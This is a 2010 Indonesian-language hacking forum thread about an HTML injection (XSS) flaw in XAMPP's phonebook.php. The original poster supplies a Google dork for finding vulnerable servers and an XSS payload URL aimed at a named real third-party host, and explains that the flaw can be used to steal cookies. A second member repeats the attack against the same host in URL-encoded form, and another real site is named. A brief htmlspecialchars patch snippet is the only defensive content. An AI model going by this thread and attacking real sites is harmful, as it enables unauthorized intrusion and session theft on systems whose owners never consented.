XAMPP phonebook.php Multiple Remote HTML Injection Vuln

Forum untuk membahas semua tentang web hacking mulai dari footprint, scanning, gain access, escalate previlege, exploit,cover track, backdoors sampai mengamankan web

Moderators: Paman, Xshadow, indounderground, NeOS-01

Forum rules
Membahas bugs,penetrasi, eksploitasi dan teknik mengamankan website - websrver. Sertakan POC disini agar member dapat mempelajarinya
User avatar
shad.hckr
Posts: 555
Joined: Mon Sep 29, 2008 4:48 am
Location: /home/sh4dhckr
Contact:

XAMPP phonebook.php Multiple Remote HTML Injection Vuln

Post by shad.hckr » Fri Jan 29, 2010 9:13 pm

XAMPP phonebook.php Multiple Remote HTML Injection Vuln

Source: www.securityfocus.com
Vulnerable File : phonebook.php
Dork : inurl:"xampp/phonebook.php"
Live Action : http://gw.neocolumbus.com/xampp/phonebo ... ript>alert('sh4dhckr was here');</script>&firstname=1

User avatar
wiLMaR_kiDz
Posts: 964
Joined: Fri Mar 27, 2009 1:03 pm
Location: internet
Contact:

Re: XAMPP phonebook.php Multiple Remote HTML Injection Vuln

Post by wiLMaR_kiDz » Fri Jan 29, 2010 9:24 pm

bisa di kasi penjelasan dikit zam??..
kan gk smua user tw maksud ente di atas...
tul gk??.. hehee..
:circle: :circle: :putusasa:
regards,
ordinary user,-

User avatar
nesta
Posts: 555
Joined: Fri May 08, 2009 12:17 am
Contact:

Re: XAMPP phonebook.php Multiple Remote HTML Injection Vuln

Post by nesta » Fri Jan 29, 2010 9:43 pm

iya om... kagak ngerti mohon penjelasannya. :maaf: :maaf:
imajinasi jauh lebih penting dari pada pengetahuan

User avatar
shad.hckr
Posts: 555
Joined: Mon Sep 29, 2008 4:48 am
Location: /home/sh4dhckr
Contact:

Re: XAMPP phonebook.php Multiple Remote HTML Injection Vuln

Post by shad.hckr » Fri Jan 29, 2010 9:44 pm

kalo bugs ini bisa dipake buat nyuri cookies.
kenapa bisa??
soalnya hasil dari inputan bakal di tampilin di webpage. tapi tanpa filter. jadi kalo kita masukin beberapa code langsung di eksekusi..

begitu penjelasan singkat dari saia wil.. tambahin dunk.. wkwkwkwk..

User avatar
nesta
Posts: 555
Joined: Fri May 08, 2009 12:17 am
Contact:

Re: XAMPP phonebook.php Multiple Remote HTML Injection Vuln

Post by nesta » Fri Jan 29, 2010 10:17 pm

ngerti om tapi cara nmbah codenya gimana om...
http://dotmytees.com/xampp/phonebook.php?showcode=1
mohon bimbingannya... :maaf: :maaf: :maaf:
imajinasi jauh lebih penting dari pada pengetahuan

User avatar
shad.hckr
Posts: 555
Joined: Mon Sep 29, 2008 4:48 am
Location: /home/sh4dhckr
Contact:

Re: XAMPP phonebook.php Multiple Remote HTML Injection Vuln

Post by shad.hckr » Fri Jan 29, 2010 11:51 pm

nah itu kan dah ada contohnya..

User avatar
nesta
Posts: 555
Joined: Fri May 08, 2009 12:17 am
Contact:

Re: XAMPP phonebook.php Multiple Remote HTML Injection Vuln

Post by nesta » Sat Jan 30, 2010 12:48 am

ia om tapi cara nginjek codenya gimana om...
imajinasi jauh lebih penting dari pada pengetahuan

User avatar
shad.hckr
Posts: 555
Joined: Mon Sep 29, 2008 4:48 am
Location: /home/sh4dhckr
Contact:

Re: XAMPP phonebook.php Multiple Remote HTML Injection Vuln

Post by shad.hckr » Sat Jan 30, 2010 2:27 am

@nesta

Code: Select all

http://gw.neocolumbus.com/xampp/phonebook.php?lastname=<script>alert('sh4dhckr was here');</script>&firstname=1
penjelasan :
ini URL asli..

Code: Select all

http://gw.neocolumbus.com/xampp/phonebook.php
hasil inject code HTML buat alert..

Code: Select all

http://gw.neocolumbus.com/xampp/phonebook.php?lastname=<script>alert('sh4dhckr was here');</script>&firstname=1
kalo masih belum ngeh juga?? coba search di forum tentang XSS..

numpang share patchnya... tapi bener gak ya??? review dunk...

Code: Select all

<?php
$xss = htmlspecialchars($_POST['msg']);
if($xss == "")
{
echo "gak boleh kosong!";
} else {
echo "pesan kamu : <b>".$xss."</b>";
}
?>

User avatar
nesta
Posts: 555
Joined: Fri May 08, 2009 12:17 am
Contact:

Re: XAMPP phonebook.php Multiple Remote HTML Injection Vuln

Post by nesta » Sat Jan 30, 2010 2:54 am

wew ngerti dah om... makasih y????

Code: Select all

http://gw.neocolumbus.com/xampp/phonebook.php?lastname=%3Cscript%3Ealert%28%27nesta%20was%20here%27%29;%3C/script%3E&firstname=1
:devil :devil :devil
imajinasi jauh lebih penting dari pada pengetahuan

User avatar
shad.hckr
Posts: 555
Joined: Mon Sep 29, 2008 4:48 am
Location: /home/sh4dhckr
Contact:

Re: XAMPP phonebook.php Multiple Remote HTML Injection Vuln

Post by shad.hckr » Sat Jan 30, 2010 5:03 am

sama2 bro nesta...

Post Reply

Return to “Web Hacking”